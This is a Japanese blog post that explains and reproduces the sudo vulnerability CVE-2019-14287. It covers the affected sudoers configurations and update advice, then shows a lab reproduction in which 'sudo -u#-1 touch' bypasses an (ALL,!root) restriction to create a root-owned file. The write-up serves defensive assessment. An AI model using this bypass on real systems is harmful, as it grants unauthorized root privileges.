LoginSignup
47
26

More than 3 years have passed since last update.

CVE-2019-14287 [sudo] Potential bypass of Runas user restrictions の確認

Last updated at Posted at 2019-10-14

sudoで潜在的なRunasユーザの制限バイパスについての脆弱性が出たので、確認した。

summary (TL;DR)

  • 影響を受けるユーザアカウントは限定的
    • 既にsudoers登録がある
    • "どのユーザとして実行できるか"でALLキーワードがある
  • アップデートは実施したほうが良い
    • リスク次第で、緊急 から 次のメンテタイミング、までの間で実施したい。
    • 大半のシステムでは 緊急には該当しない と推定される

脆弱性概要

ALLキーワードで任意のユーザとして実行可能な場合、rootとして実行が可能

  • 例えば user00 (ALL) ALL の場合は、もとから ALLだけなので、rootで実行可能
  • ALLを制限している場合、例えばuser00 (ALL,!root)の場合は、!root部分をバイパス可能

ということは、以下の条件が必要

  • アカウントが存在し
  • sudoersに記載があり
  • 任意のユーザとして実行可能な設定("(ALL)"等)があり
  • rootを除外している((ALL,!root)等)

再現

前提

  • 新規ユーザ suduvlun ユーザを作り、touchコマンドに「root以外の権限で実行」できるsudo権限を付与する。
  • 本来は $sudo touch hogehuga.txt は実行できないが、本脆弱性を利用することで実行ができてしまう。

実行

root@desktop:~# passwd user00
新しい UNIX パスワードを入力してください: 
新しい UNIX パスワードを再入力してください: 
passwd: パスワードは正しく更新されました
root@desktop:~# visudo
# add touch privilege
user00  ALL=(ALL,!root) /usr/bin/touch
root@desktop:~# su - user00
user00@desktop:~$ pwd
/home/user00
user00@desktop:~$ touch hoge.txt
user00@desktop:~$ ls -lh hoge.txt 
-rw-rw-r-- 1 user00 user00 0 10月 15 05:07 hoge.txt
user00@desktop:~$ sudo touch hogehoge.txt
[sudo] user00 のパスワード: 
残念ですが、ユーザー user00 は'/usr/bin/touch hogehoge.txt' を root として desktop 上で実行することは許可されていません。
user00@desktop:~$ sudo -u#-1 touch hogehuga.txt
[sudo] user00 のパスワード: 
user00@desktop:~$ ls -lh
合計 12K
-rw-r--r-- 1 user00 user00 8.8K  4月 16  2018 examples.desktop
-rw-rw-r-- 1 user00 user00    0 10月 15 05:07 hoge.txt
-rw-r--r-- 1 root   user00    0 10月 15 05:08 hogehuga.txt
user00@desktop:~$

補足

sudoersの設定についてざっくりと以下の様になっている

HOST ACCOUNT = (USER:GROUP) COMMAND

  • HOST
    • 許可ホスト
  • ACCOUNT
    • sudo を許可するユーザ
    • 今回はuser00
  • USER
    • sudoで成り代われるユーザ
    • 今回はALLだが、rootは除外(!root)。root以外のユーザ権限で実行可能
  • GROUP
    • sudoで成り代われるユーザ
    • 今回は設定なし
  • COMMAND
    • sudoで実行可能なコマンド
    • 今回は/usr/bin/touch

一次情報

  • Exploiting the bug requires that the user have sudo privileges that allow them to run commands with an arbitrary user ID.
47
26
1

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
47
26